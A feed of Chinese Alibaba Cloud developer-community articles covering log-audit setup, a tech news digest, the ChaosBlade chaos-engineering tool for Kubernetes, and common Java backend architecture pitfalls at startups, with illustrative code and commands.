
        发布区域

        登录入口:

        数据区域:

        • 数据采集区域目前支持公共云所有区域
        • 同步到中心化目标区域,目前支持北京、上海、杭州、深圳等区域以及新加坡

        覆盖产品
        支持接入支持如下产品(一键式接入的为蓝色):
        image

        快速开始

        1. 开通

        首先开通日志服务的日志审计功能.
        image

        2. 首次配置

        进入App后的首次配置页面, 选择中心化存储的区域, App会在保存后自动构建一个固定模式名字的项目. 选择开启相关的产品, 并参考页面提示授权, 之后保存.
        image

        3. 多账户配置

        在多账户配置的全局配种, 配置其他多个主账号, 将其日志也统一收集到当前中心化项目中.
        image

        4. 统一查询与内置报表查看

        在左侧菜单中选择某一类数据进行跨账号的统一搜索, 也支持多个产品之间的协同查询与分析以及内置报表.
        image

        5. 其他审计操作

        可以在日志服务首页直接定位到中心项目, 进行扩展的审计操作.

        1. 针对数据交互式分析, 请参考SQL统计功能.
        2. 构建自定义报表, 请参考仪表盘操作
        3. 订阅报表并定期发送, 请参考报表订阅
        4. 指定规则并自定义告警, 请参考告警操作
        5. 清洗数据做统一分析或输出. 请参考数据加工
        6. 通过接口对接SOC或其他系统, 请参考数据投递

        更多参考

        ]]>
        从0到千万DAU,这5年闲鱼架构如何演进? | 开发者必读(096期) Fri, 02 May 2025 09:39:04 +0800 从0到千万DAU,闲鱼架构如何演进?政务钉钉如何帮助政府打造组织中台?视障用户如何盖楼抢双十一红包?……最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        从0到千万DAU,这5年闲鱼架构如何演进?

        闲鱼品牌创立于14年阿里的某个茶水间,从0开始到现在千万DAU,5年时间里闲鱼见证了闲置物品从线下到线上交易的转移。
        image.png
        而线上交易的繁荣,则需要业务架构做相应的调整、演进才能支撑业务的快速发展。本文主要通过介绍闲鱼从0发展到千万级DAU应用的不同阶段的业务特点、核心问题以及针对性的架构演进,来阐述业务架构的演进思路与心得。


        最强干货

        阿里巴巴叶军:从0到1打造组织中台

        近日,在乌镇召开的第六届世界互联网大会现场,浙江省政府与阿里巴巴集团合作开发的政务钉钉首次正式发布。

        随着政务钉钉的正式亮相,政务钉钉事业部总经理叶军与他带领的团队也逐步走进大众视野。

        政务钉钉如何帮助政府做数字化?阿里巴巴自身又是如何做企业管理数字化的?带着这些疑问,我们邀请到了叶军,从他与他的“组织中台”故事说起。

        30万“被消失”的视障用户,如何在淘宝剁手盖楼?

        虽然眼睛看不到天猫双11全民狂欢的场景,但双11却真实地从小沈的指尖传至心间。无障碍体验持续改善的背后,是阿里持续打造公平普惠营商环境的努力:公平良性的竞争让商家有更好的成长机会,获利发展的商家才能有力量给全社会提供更多元的服务;不断提升安全能力让红包补贴能够真正到达消费者手中而不是被羊毛党薅走。

        阿里巴巴 Kubernetes 应用管理实践经验

        云原生时代,Kubernetes 的重要性日益凸显。然而,大多数互联网公司在 Kubernetes 上的探索并非想象中顺利,Kubernetes 自带的复杂性足以让一批开发者望而却步。本文中,阿里巴巴技术专家孙健波在接受采访时基于阿里巴巴 Kubernetes 应用管理实践过程提供了一些经验与建议,以期对开发者有所帮助。


        每天读本书

        带你读《微服务架构设计模式》之二:服务的拆分策略

        本书中,微服务架构的先驱、Java 开发者社区的意见领袖 Chris Richardson 收集、分类并解释了 44 个架构设计模式,这些模式用来解决诸如服务拆分、事务管理、查询和跨服务通信等难题。本书不仅仅是一个模式目录,还提供了经验驱动的建议,以帮助你设计、实现、测试和部署基于微服务的应用程序。


        精品公开课

        PHP 微服务之路

        本次直播主要讲的Hyperf,Hyperf 是基于 Swoole 的企业级的 PHP 全栈框架,超高的性能与优雅的设计的结合品,内置了大量的协程组件,开箱即用,且含有完善的服务治理相关组件,特别适用于搭建微服务架构。


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        面向云原生的混沌工程工具-ChaosBlade Fri, 02 May 2025 09:39:04 +0800 0

        作者 | 肖长军(穹谷)阿里云智能事业群技术专家  

        导读:随着云原生系统的演进,如何保障系统的稳定性受到很大的挑战,混沌工程通过反脆弱思想,对系统注入故障,提前发现系统问题,提升系统的容错能力。ChaosBlade 工具可以通过声明式配置执行混沌实验,简单高效。本文将会重点介绍 ChaosBlade 以及云原生相关的实验场景实践。

        ChaosBlade 介绍

        ChaosBlade 是阿里巴巴开源的一款遵循混沌实验模型的混沌实验执行工具,具有场景丰富度高、简单易用等特点,而且可以很方便的扩展实验场景,开源后不久就被加入到 CNCF Landspace 中,成为主流的一款混沌工具。

        实验场景

        目前支持的实验场景如下:

        • 基础资源场景:CPU 负载、内存占用、磁盘 IO 负载、磁盘占用、网络延迟、网络丢包、网络屏蔽、域名不可访问、shell 脚本篡改、杀进程、进程 Hang、机器重启等;
        • 应用服务场景:支持 Java 应用和 C++ 应用内的实验场景。Java 的场景组件丰富,例如支持 Dubbo、RocketMQ、HttpClient、Servlet、Druid等,而且支持编写 Java 或 Groovy 脚本实现复杂的实验场景;
        • 容器服务场景:支持 Kubernetes 和 Docker 服务,包含 node、pod 和 container 三种资源的实验场景,例如 Pod 网络延迟、丢包等。

        混沌实验模型

        1_jpeg

        以上所有的实验场景都遵循混沌实验模型,此模型共分为四层,包含:

        • Target:实验靶点。指实验发生的组件,如容器、应用框架(Dubbo、Redis)等;
        • Scope:实验实施的范围。指具体触发实验的机器或者集群等;
        • Matcher:实验规则匹配器。根据所配置的 Target,定义相关的实验匹配规则,可以配置多个。由于每个 Target 可能有各自特殊的匹配条件,比如 RPC 领域的 Dubbo,可以根据服务提供者提供的服务和服务消费者调用的服务进行匹配,缓存领域的 Redis,可以根据 set、get 操作进行匹配;
        • Action:指实验模拟的具体场景,Target 不同,实施的场景也不一样,比如磁盘,可以演练磁盘满,磁盘 IO 读写高等。如果是应用,可以抽象出延迟、异常、返回指定值(错误码、大对象等)、参数篡改、重复调用等实验场景。

        比如一台 IP 是 10.0.0.1 机器上的应用,调用 com.example.HelloService[@1.0.0 ]() Dubbo 服务延迟 3s,基于此模型可以描述为对 Dubbo 组件(Target)进行实验,实验实施的范围是 10.0.0.1 主机(Scope),调用 com.example.HelloService[@1.0.0 ]() (Matcher)服务延迟 3s(Action),对应的 chaosblade 命令为:

        blade create dubbo delay --time 3000 --service com.example.HelloService --version 1.0.0

        所以此模型很简单清晰的表达出实验场景,易于理解。下文中的云原生实验场景也基于此模型定义。

        面向云原生的实验场景

        实现方案

        2

        将混沌实验场景按照上述的实验模型,定义为 Kubernetes 中的资源,并通过自定义控制器来管理,可以通过 Yaml 配置或者直接执行 blade 命令执行。

        ChaosBlade Operator 定义了资源控制器,并且会以 daemonset 的方式,在每个节点上部署一个 chaosblade-tool pod 来执行混沌实验。不同的实验场景内部实现方式不同,比如 Node 实验场景,其上面部署的 chaosblade-tool 内部执行即可,而 Container 内的实验场景,控制器会将 chaosblade 包拷贝到目标 Container 中执行。

        使用方式

        安装必要组件

        安装 ChaosBlade Operator,可通过地址下载 chaosblade-operator-0.0.1.tgz,使用以下命令安装:

        helm install --namespace kube-system --name chaosblade-operator chaosblade-operator-0.0.1.tgz

        安装在 kube-system 命令空间下。ChaosBlade Operator 启动后会在每个节点部署 chaosblade-tool Pod 和一个 chaosblade-operator Pod。可通过以下命令查看安装结果:

        kubectl get pod -n kube-system -o wide | grep chaosblade

        3

        执行实验

        执行方式有两种:

        • 一种是通过配置 yaml 方式,使用 kubectl 执行;
        • 另一种是直接使用 chaosblade 包中的 blade 命令执行。

        下面以指定一台节点,做 CPU 负载 80% 实验举例。

        yaml 配置方式

        apiVersion: chaosblade.io/v1alpha1
        kind: ChaosBlade
        metadata:
          name: cpu-load
        spec:
          experiments:
          - scope: node
            target: cpu
            action: fullload
            desc: "increase node cpu load by names"
            matchers:
            - name: names
              value:
              - "cn-hangzhou.192.168.0.205"
            - name: cpu-percent
              value:
              - "80"

        如上所示,配置好文件后,保存为 chaosblade_cpu_load.yaml,使用以下命令执行实验场景:

        kubectl apply -f chaosblade_cpu_load.yaml

        可通过以下命令查看每个实验的执行状态:

        kubectl get blade cpu-load -o json

        查看更多实验场景配置事例

        blade 命令执行方式

        下载 chaosblade 工具包,解压即可使用。还是上述例子,使用 blade 命令执行如下:

        blade create k8s node-cpu fullload --names cn-hangzhou.192.168.0.205 --cpu-percent 80 --kubeconfig ~/.kube/config

        使用 blade 命令执行,会返回实验的执行结果。

        修改实验

        yaml 配置文件的方式支持场景动态修改,比如将上述的 cpu 负载调整为 60%,则只需将上述 value 的值从 80 改为 60 即可,例如:

        apiVersion: chaosblade.io/v1alpha1
        kind: ChaosBlade
        metadata:
          name: cpu-load
        spec:
          experiments:
          - scope: node
            target: cpu
            action: load
            desc: "cpu load"
            flags:
            - name: cpu-percent
              value: "60"
            - name: ip
              value: 192.168.0.34

        然后使用 kubeclt apply -f chaosblade_cpu_load.yaml 命令执行更新即可。

        停止实验

        可以通过以下三种方式停止实验:

        根据实验资源名停止

        比如上述 cpu-load 场景,可以执行以下命令停止实验:

        kubectl delete chaosblade cpu-load

        通过 yaml 配置文件停止

        指定上述创建好的 yaml 文件进行删除,命令如下:

        kubectl delete -f chaosblade_cpu_load.yaml

        通过 blade 命令停止

        此方式仅限使用 blade 创建的实验,使用以下命令停止:

        blade destroy <UID>

        是执行 blade create 命令返回的结果,如果忘记,可使用 blade status --type create 命令查询。

        卸载 chaosblade operator

        执行 helm del --purge chaosblade-operator 卸载即可,将会停止全部实验,删除所有创建的资源。

        总结

        ChaosBlade 基于混沌实验模型,友好地将 Kubernetes 资源控制结合,部署简单而且使用简洁,实验可控。除此之外 ChaosBlade 基于实验模型实现了很多领域场景执行器,可以很方便的扩展实验场景,可详见附录中的项目列表。

        社区共建

        ChaosBlade 自开源以来,共有近 30 多位贡献者加入和很多企业的关注及使用,非常感谢各位。同时非常欢迎更多的人参与进来,使 ChaosBlade 变的更加强大,覆盖更多的场景,成为各个企业稳定的、通用的混沌工程工具。

        贡献的形式可以是提 bug、提交代码、编写文档、补充单元测试、参与问题讨论等等。ChaosBlade 相信:开源世界中,任何帮助都是贡献。

        附录

        项目列表如下:

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        初创公司5大Java服务困局,阿里工程师如何打破? Fri, 02 May 2025 09:39:04 +0800 image
        阿里妹导读:初创公司遇到的每一个问题都可能攸关生死。创业之初更应该总结行业的常见问题,对比方案寻找最优解。阿里巴巴地图技术专家常意在技术圈摸爬滚打数年,接触了各式各样的Java服务端架构。服务端问题见得多了,也就更能分辨出各种方案的优劣。今天,常意总结了5大初创公司存在的Java服务端难题,并尝试性地给出了一些解决方案,供大家交流参考。

        1.系统不是分布式

        1.1.单机版系统抢单案例

        
        // 抢取订单函数
        public synchronized void grabOrder(Long orderId, Long userId) {
            // 获取订单信息
            OrderDO order = orderDAO.get(orderId);
            if (Objects.isNull(order)) {
                throw new BizRuntimeException(String.format("订单(%s)不存在", orderId));
            }
        
            // 检查订单状态
            if (!Objects.equals(order.getStatus, OrderStatus.WAITING_TO_GRAB.getValue())) {
                throw new BizRuntimeException(String.format("订单(%s)已被抢", orderId));
            }
        
            // 设置订单被抢
            orderDAO.setGrabed(orderId, userId);
        }
        

        以上代码,在一台服务器上运行没有任何问题。进入函数grabOrder(抢取订单)时,利用synchronized关键字把整个函数锁定,要么进入函数前订单未被人抢取,从而抢单成功,要么进入函数前订单已被抢取导致抢单失败,绝对不会出现进入函数前订单未被抢取而进入函数后订单又被抢取的情况。

        但是,如果上面的代码在两台服务器上同时运行,由于Java的synchronized关键字只在一个虚拟机内生效,所以就会导致两个人能够同时抢取一个订单,但会以最后一个写入数据库的数据为准。所以,大多数的单机版系统,是无法作为分布式系统运行的。

        1.2.分布式系统抢单案例

        添加分布式锁,进行代码优化:

        
        // 抢取订单函数
        public void grabOrder(Long orderId, Long userId) {
            Long lockId = orderDistributedLock.lock(orderId);
            try {
                grabOrderWithoutLock(orderId, userId);
            } finally {
                orderDistributedLock.unlock(orderId, lockId);
            }
        }
        
        // 不带锁的抢取订单函数
        private void grabOrderWithoutLock(Long orderId, Long userId) {
            // 获取订单信息
            OrderDO order = orderDAO.get(orderId);
            if (Objects.isNull(order)) {
                throw new BizRuntimeException(String.format("订单(%s)不存在", orderId));
            }
        
            // 检查订单状态
            if (!Objects.equals(order.getStatus, OrderStatus.WAITING_TO_GRAB.getValue())) {
                throw new BizRuntimeException(String.format("订单(%s)已被抢", orderId));
            }
        
            // 设置订单被抢
            orderDAO.setGrabed(orderId, userId);
        }
        

        优化后的代码,在调用函数grabOrderWithoutLock(不带锁的抢取订单)前后,利用分布式锁orderDistributedLock(订单分布式锁)进行加锁和释放锁,跟单机版的synchronized关键字加锁效果基本一样。

        1.3.分布式系统的优缺点

        分布式系统(Distributed System)是支持分布式处理的软件系统,是由通信网络互联的多处理机体系结构上执行任务的系统,包括分布式操作系统、分布式程序设计语言及其编译系统、分布式文件系统分布式数据库系统等。

        分布式系统的优点:

        • 可靠性、高容错性:一台服务器的崩溃,不会影响其它服务器,其它服务器仍能提供服务。
        • 可扩展性:如果系统服务能力不足,可以水平扩展更多服务器。
        • 灵活性:可以很容易的安装、实施、扩容和升级系统。
        • 性能高:拥有多台服务器的计算能力,比单台服务器处理速度更快。
        • 性价比高:分布式系统对服务器硬件要求很低,可以选用廉价服务器搭建分布式集群,从而得到更好的性价比。

        分布式系统的缺点:

        • 排查难度高:由于系统分布在多台服务器上,故障排查和问题诊断难度较高。
        • 软件支持少:分布式系统解决方案的软件支持较少。
        • 建设成本高:需要多台服务器搭建分布式系统。

        曾经有不少的朋友咨询我:"找外包做移动应用,需要注意哪些事项?"

        首先,确定是否需要用分布式系统。软件预算有多少?预计用户量有多少?预计访问量有多少?是否只是业务前期试水版?单台服务器能否解决?是否接收短时间宕机?……如果综合考虑,单机版系统就可以解决的,那就不要采用分布式系统了。因为单机版系统和分布式系统的差别很大,相应的软件研发成本的差别也很大。

        其次,确定是否真正的分布式系统。分布式系统最大的特点,就是当系统服务能力不足时,能够通过水平扩展的方式,通过增加服务器来增加服务能力。然而,单机版系统是不支持水平扩展的,强行扩展就会引起一系列数据问题。由于单机版系统和分布式系统的研发成本差别较大,市面上的外包团队大多用单机版系统代替分布式系统交付。

        那么,如何确定你的系统是真正意义上的分布式系统呢?从软件上来说,是否采用了分布式软件解决方案;从硬件上来说,是否采用了分布式硬件部署方案。

        1.4.分布式软件解决方案

        作为一个合格的分布式系统,需要根据实际需求采用相应的分布式软件解决方案。

        1.4.1分布式锁

        分布式锁是单机锁的一种扩展,主要是为了锁住分布式系统中的物理块或逻辑块,用以此保证不同服务之间的逻辑和数据的一致性。

        目前,主流的分布式锁实现方式有3种:

        1. 基于数据库实现的分布式锁;
        2. 基于Redis实现的分布式锁;
        3. 基于Zookeeper实现的分布式锁。

        1.4.2分布式消息

        分布式消息中间件是支持在分布式系统中发送和接受消息的软件基础设施。常见的分布式消息中间件有ActiveMQ、RabbitMQ、Kafka、MetaQ等。

        MetaQ(全称Metamorphosis)是一个高性能、高可用、可扩展的分布式消息中间件,思路起源于LinkedIn的Kafka,但并不是Kafka的一个拷贝。MetaQ具有消息存储顺序写、吞吐量大和支持本地和XA事务等特性,适用于大吞吐量、顺序消息、广播和日志数据传输等场景。

        1.4.3数据库分片分组

        针对大数据量的数据库,一般会采用"分片分组"策略:

        分片(shard):主要解决扩展性问题,属于水平拆分。引入分片,就引入了数据路由和分区键的概念。其中,分表解决的是数据量过大的问题,分库解决的是数据库性能瓶颈的问题。

        分组(group):主要解决可用性问题,通过主从复制的方式实现,并提供读写分离策略用以提高数据库性能。

        1.4.4分布式计算

        分布式计算( Distributed computing )是一种"把需要进行大量计算的工程数据分割成小块,由多台计算机分别计算;在上传运算结果后,将结果统一合并得出数据结论"的科学。

        当前的高性能服务器在处理海量数据时,其计算能力、内存容量等指标都远远无法达到要求。在大数据时代,工程师采用廉价的服务器组成分布式服务集群,以集群协作的方式完成海量数据的处理,从而解决单台服务器在计算与存储上的瓶颈。Hadoop、Storm以及Spark是常用的分布式计算中间件,Hadoop是对非实时数据做批量处理的中间件,Storm和Spark是对实时数据做流式处理的中间件。

        除此之外,还有更多的分布式软件解决方案,这里就不再一一介绍了。

        1.5分布式硬件部署方案

        介绍完服务端的分布式软件解决方案,就不得不介绍一下服务端的分布式硬件部署方案。这里,只画出了服务端常见的接口服务器、MySQL数据库、Redis缓存,而忽略了其它的云存储服务、消息队列服务、日志系统服务……

        1.5.1一般单机版部署方案

        image

        架构说明:只有1台接口服务器、1个MySQL数据库、1个可选Redis缓存,可能都部署在同一台服务器上。

        适用范围:适用于演示环境、测试环境以及不怕宕机且日PV在5万以内的小型商业应用。

        1.5.2中小型分布式硬件部署方案

        image

        架构说明:通过SLB/Nginx组成一个负载均衡的接口服务器集群,MySQL数据库和Redis缓存采用了一主一备(或多备)的部署方式。

        适用范围:适用于日PV在500万以内的中小型商业应用。

        1.5.3大型分布式硬件部署方案

        image

        架构说明:通过SLB/Nginx组成一个负载均衡的接口服务器集群,利用分片分组策略组成一个MySQL数据库集群和Redis缓存集群。

        适用范围:适用于日PV在500万以上的大型商业应用。

        2.多线程使用不正确

        多线程最主要目的就是"最大限度地利用CPU资源",可以把串行过程变成并行过程,从而提高了程序的执行效率。

        2.1一个慢接口案例

        假设在用户登录时,如果是新用户,需要创建用户信息,并发放新用户优惠券。例子代码如下:

        
        // 登录函数(示意写法)
        public UserVO login(String phoneNumber, String verifyCode) {
            // 检查验证码
            if (!checkVerifyCode(phoneNumber, verifyCode)) {
                throw new ExampleException("验证码错误");
            }
        
            // 检查用户存在
            UserDO user = userDAO.getByPhoneNumber(phoneNumber);
            if (Objects.nonNull(user)) {
                return transUser(user);
            }
        
            // 创建新用户
            return createNewUser(user);
        }
        
        // 创建新用户函数
        private UserVO createNewUser(String phoneNumber) {
            // 创建新用户
            UserDO user = new UserDO();
            ...
            userDAO.insert(user);
        
            // 绑定优惠券
            couponService.bindCoupon(user.getId(), CouponType.NEW_USER);
        
            // 返回新用户
            return transUser(user);
        }

        其中,绑定优惠券(bindCoupon)是给用户绑定新用户优惠券,然后再给用户发送推送通知。如果随着优惠券数量越来越多,该函数也会变得越来越慢,执行时间甚至超过1秒,并且没有什么优化空间。现在,登录(login)函数就成了名副其实的慢接口,需要进行接口优化。

        2.2采用多线程优化

        通过分析发现,绑定优惠券(bindCoupon)函数可以异步执行。首先想到的是采用多线程解决该问题,代码如下:

        
        // 创建新用户函数
        private UserVO createNewUser(String phoneNumber) {
            // 创建新用户
            UserDO user = new UserDO();
            ...
            userDAO.insert(user);
        
            // 绑定优惠券
            executorService.execute(()->couponService.bindCoupon(user.getId(), CouponType.NEW_USER));
        
            // 返回新用户
            return transUser(user);
        }

        现在,在新线程中执行绑定优惠券(bindCoupon)函数,使用户登录(login)函数性能得到很大的提升。但是,如果在新线程执行绑定优惠券函数过程中,系统发生重启或崩溃导致线程执行失败,用户将永远获取不到新用户优惠券。除非提供用户手动领取优惠券页面,否则就需要程序员后台手工绑定优惠券。所以,用采用多线程优化慢接口,并不是一个完善的解决方案。

        2.3采用消息队列优化

        如果要保证绑定优惠券函数执行失败后能够重启执行,可以采用数据库表、Redis队列、消息队列的等多种解决方案。由于篇幅优先,这里只介绍采用MetaQ消息队列解决方案,并省略了MetaQ相关配置仅给出了核心代码。

        消息生产者代码:

        
        // 创建新用户函数
        private UserVO createNewUser(String phoneNumber) {
            // 创建新用户
            UserDO user = new UserDO();
            ...
            userDAO.insert(user);
        
            // 发送优惠券消息
            Long userId = user.getId();
            CouponMessageDataVO data = new CouponMessageDataVO();
            data.setUserId(userId);
            data.setCouponType(CouponType.NEW_USER);
            Message message = new Message(TOPIC, TAG, userId, JSON.toJSONBytes(data));
            SendResult result = metaqTemplate.sendMessage(message);
            if (!Objects.equals(result, SendStatus.SEND_OK)) {
                log.error("发送用户({})绑定优惠券消息失败:{}", userId, JSON.toJSONString(result));
            }
        
            // 返回新用户
            return transUser(user);
        }
        

        注意:可能出现发生消息不成功,但是这种概率相对较低。

        消息消费者代码:

        // 优惠券服务类
        @Slf4j
        @Service
        public class CouponService extends DefaultMessageListener<String> {
            // 消息处理函数
            @Override
            @Transactional(rollbackFor = Exception.class)
            public void onReceiveMessages(MetaqMessage<String> message) {
                // 获取消息体
                String body = message.getBody();
                if (StringUtils.isBlank(body)) {
                    log.warn("获取消息({})体为空", message.getId());
                    return;
                }
        
                // 解析消息数据
                CouponMessageDataVO data = JSON.parseObject(body, CouponMessageDataVO.class);
                if (Objects.isNull(data)) {
                    log.warn("解析消息({})体为空", message.getId());
                    return;
                }
        
                // 绑定优惠券
                bindCoupon(data.getUserId(), data.getCouponType());
            }
        }

        解决方案优点:采集MetaQ消息队列优化慢接口解决方案的优点:

        1. 如果系统发生重启或崩溃,导致消息处理函数执行失败,不会确认消息已消费;由于MetaQ支持多服务订阅同一队列,该消息可以转到别的服务进行消费,亦或等到本服务恢复正常后再进行消费。
        2. 消费者可多服务、多线程进行消费消息,即便消息处理时间较长,也不容易引起消息积压;即便引起消息积压,也可以通过扩充服务实例的方式解决。
        3. 如果需要重新消费该消息,只需要在MetaQ管理平台上点击"消息验证"即可。

        3.流程定义不合理

        3.1.原有的采购流程

        这是一个简易的采购流程,由库管系统发起采购,采购员开始采购,采购员完成采购,同时回流采集订单到库管系统。

        image

        其中,完成采购动作的核心代码如下:

        
        /** 完成采购动作函数(此处省去获取采购单/验证状态/锁定采购单等逻辑) */
        public void finishPurchase(PurchaseOrder order) {
            // 完成相关处理
            ......
        
            // 回流采购单(调用HTTP接口)
            backflowPurchaseOrder(order);
        
            // 设置完成状态
            purchaseOrderDAO.setStatus(order.getId(), PurchaseOrderStatus.FINISHED.getValue());
        }

        由于函数backflowPurchaseOrder(回流采购单)调用了HTTP接口,可能引起以下问题:

        1. 该函数可能耗费时间较长,导致完成采购接口成为慢接口;
        2. 该函数可能失败抛出异常,导致客户调用完成采购接口失败。

        3.2.优化的采购流程

        通过需求分析,把"采购员完成采购并回流采集订单"动作拆分为"采购员完成采购"和"回流采集订单"两个独立的动作,把"采购完成"拆分为"采购完成"和"回流完成"两个独立的状态,更方便采购流程的管理和实现。

        image

        拆分采购流程的动作和状态后,核心代码如下:

        
        /** 完成采购动作函数(此处省去获取采购单/验证状态/锁定采购单等逻辑) */
        public void finishPurchase(PurchaseOrder order) {
            // 完成相关处理
            ......
        
            // 设置完成状态
            purchaseOrderDAO.setStatus(order.getId(), PurchaseOrderStatus.FINISHED.getValue());
        }
        
        /** 执行回流动作函数(此处省去获取采购单/验证状态/锁定采购单等逻辑) */
        public void executeBackflow(PurchaseOrder order) {
            // 回流采购单(调用HTTP接口)
            backflowPurchaseOrder(order);
        
            // 设置回流状态
            purchaseOrderDAO.setStatus(order.getId(), PurchaseOrderStatus.BACKFLOWED.getValue());
        }

        其中,函数executeBackflow(执行回流)由定时作业触发执行。如果回流采购单失败,采购单状态并不会修改为"已回流";等下次定时作业执行时,将会继续执行回流动作;直到回流采购单成功为止。

        3.3.有限状态机介绍

        3.3.1概念

        有限状态机(Finite-state machine,FSM),又称有限状态自动机,简称状态机,是表示有限个状态以及在这些状态之间的转移和动作等行为的一个数学模型。

        3.3.2要素

        状态机可归纳为4个要素:现态、条件、动作、次态。

        image

        现态:指当前流程所处的状态,包括起始、中间、终结状态。
        条件:也可称为事件;当一个条件被满足时,将会触发一个动作并执行一次状态的迁移。
        动作:当条件满足后要执行的动作。动作执行完毕后,可以迁移到新的状态,也可以仍旧保持原状态。
        次态:当条件满足后要迁往的状态。“次态”是相对于“现态”而言的,“次态”一旦被激活,就转变成新的“现态”了。

        3.3.3状态

        状态表示流程中的持久状态,流程图上的每一个圈代表一个状态。

        初始状态: 流程开始时的某一状态;
        中间状态: 流程中间过程的某一状态;
        终结状态: 流程完成时的某一状态。

        使用建议:

        1. 状态必须是一个持久状态,而不能是一个临时状态;
        2. 终结状态不能是中间状态,不能继续进行流程流转;
        3. 状态划分合理,不要把多个状态强制合并为一个状态;
        4. 状态尽量精简,同一状态的不同情况可以用其它字段表示。

        3.3.4动作

        动作的三要素:角色、现态、次态,流程图上的每一条线代表一个动作。

        角色: 谁发起的这个操作,可以是用户、定时任务等;
        现态: 触发动作时当前的状态,是执行动作的前提条件;
        次态: 完成动作后达到的状态,是执行动作的最终目标。

        使用建议:

        1. 每个动作执行前,必须检查当前状态和触发动作状态的一致性;
        2. 状态机的状态更改,只能通过动作进行,其它操作都是不符合规范的;
        3. 需要添加分布式锁保证动作的原子性,添加数据库事务保证数据的一致性;
        4. 类似的动作(比如操作用户、请求参数、动作含义等)可以合并为一个动作,并根据动作执行结果转向不同的状态。

        4.系统间交互不科学

        4.1.直接通过数据库交互

        在一些项目中,系统间交互不通过接口调用和消息队列,而是通过数据库直接访问。问其原因,回答道:"项目工期太紧张,直接访问数据库,简单又快捷"。

        还是以上面的采购流程为例——采购订单由库管系统发起,由采购系统负责采购,采购完成后通知库管系统,库管系统进入入库操作。采购系统采购完成后,通知库管系统数据库的代码如下:

        
        /** 执行回流动作函数(此处省去获取采购单/验证状态/锁定采购单等逻辑) */
        public void executeBackflow(PurchaseOrder order) {
            // 完成原始采购单
            rawPurchaseOrderDAO.setStatus(order.getRawId(), RawPurchaseOrderStatus.FINISHED.getValue());
        
            // 设置回流状态
            purchaseOrderDAO.setStatus(order.getId(), PurchaseOrderStatus.BACKFLOWED.getValue());
        }

        其中,通过rawPurchaseOrderDAO(原始采购单DAO)直接访问库管系统的数据库表,并设置原始采购单状态为已完成。

        一般情况下,直接通过数据访问的方式是不会有问题的。但是,一旦发生竞态,就会导致数据不同步。有人会说,可以考虑使用同一分布式锁解决该问题。是的,这种解决方案没有问题,只是又在系统间共享了分布式锁。

        直接通过数据库交互的缺点:

        1. 直接暴露数据库表,容易产生数据安全问题;
        2. 多个系统操作同一数据库表,容易造成数据库表数据混乱;
        3. 操作同一个数据库表的代码,分布在不同的系统中,不便于管理和维护;
        4. 具有数据库表这样的强关联,无法实现系统间的隔离和解耦。

        4.2.通过Dubbo接口交互

        由于采购系统和库管系统都是内部系统,可以通过类似Dubbo的RPC接口进行交互。

        库管系统代码:

        
        /** 采购单服务接口 */
        public interface PurchaseOrderService {
            /** 完成采购单函数 */
            public void finishPurchaseOrder(Long orderId);
        }
        /** 采购单服务实现 */
        @Service("purchaseOrderService")
        public class PurchaseOrderServiceImpl implements PurchaseOrderService {
            /** 完成采购单函数 */
            @Override
            @Transactional(rollbackFor = Exception.class)
            public void finishPurchaseOrder(Long orderId) {
                // 相关处理
                ...
        
                // 完成采购单
                purchaseOrderService.finishPurchaseOrder(order.getRawId());
            }
        }
        

        其中,库管系统通过Dubbo把PurchaseOrderServiceImpl(采购单服务实现)以PurchaseOrderService(采购单服务接口)定义的接口服务暴露给采购系统。这里,省略了Dubbo开发服务接口相关配置。

        采购系统代码:

        
        /** 执行回流动作函数(此处省去获取采购单/验证状态/锁定采购单等逻辑) */
        public void executeBackflow(PurchaseOrder order) {
            // 完成采购单
            purchaseOrderService.finishPurchaseOrder(order.getRawId());
        
            // 设置回流状态
            purchaseOrderDAO.setStatus(order.getId(), PurchaseOrderStatus.BACKFLOWED.getValue());
        }

        其中,purchaseOrderService(采购单服务)为库管系统PurchaseOrderService(采购单服务)在采购系统中的Dubbo服务客户端存根,通过该服务调用库管系统的服务接口函数finishPurchaseOrder(完成采购单函数)。

        这样,采购系统和库管系统自己的强关联,通过Dubbo就简单地实现了系统隔离和解耦。当然,除了采用Dubbo接口外,还可以采用HTTPS、HSF、WebService等同步接口调用方式,也可以采用MetaQ等异步消息通知方式。

        4.3常见系统间交互协议

        4.3.1同步接口调用

        同步接口调用是以一种阻塞式的接口调用机制。常见的交互协议有:

        1. HTTP/HTTPS接口;
        2. WebService接口;
        3. Dubbo/HSF接口;
        4. CORBA接口。

        4.3.2异步消息通知

        异步消息通知是一种通知式的信息交互机制。当系统发生某种事件时,会主动通知相应的系统。常见的交互协议有:

        1. MetaQ的消息通知;
        2. CORBA消息通知。

        4.4.常见系统间交互方式

        4.4.1请求-应答

        image

        适用范围:适合于简单的耗时较短的接口同步调用场景,比如Dubbo接口同步调用。

        4.4.2通知-确认

        image

        适用范围:适合于简单的异步消息通知场景,比如MetaQ消息通知。

        4.4.3请求-应答-查询-返回

        image

        适用范围:适合于复杂的耗时较长的接口同步调用场景,比如提交作业任务并定期查询任务结果。

        4.4.4请求-应答-回调

        image

        适用范围:适合于复杂的耗时较长的接口同步调用和异步回调相结合的场景,比如支付宝的订单支付。

        4.4.5请求-应答-通知-确认

        image

        适用范围:适合于复杂的耗时较长的接口同步调用和异步消息通知相结合的场景,比如提交作业任务并等待完成消息通知。

        4.4.6通知-确认-通知-确认

        image

        适用范围:适合于复杂的耗时较长的异步消息通知场景。

        5.数据查询不分页

        在数据查询时,由于未能对未来数据量做出正确的预估,很多情况下都没有考虑数据的分页查询。

        5.1.普通查询案例

        以下是查询过期订单的代码:

        
        /** 订单DAO接口 */
        public interface OrderDAO {
            /** 查询过期订单函数 */
            @Select("select * from t_order where status = 5 and gmt_create < date_sub(current_timestamp, interval 30 day)")
            public List<OrderDO> queryTimeout();
        }
        
        /** 订单服务接口 */
        public interface OrderService {
            /** 查询过期订单函数 */
            public List<OrderVO> queryTimeout();
        }
        

        当过期订单数量很少时,以上代码不会有任何问题。但是,当过期订单数量达到几十万上千万时,以上代码就会出现以下问题:

        1. 数据量太大,导致服务端的内存溢出;
        2. 数据量太大,导致查询接口超时、返回数据超时等;
        3. 数据量太大,导致客户端的内存溢出。

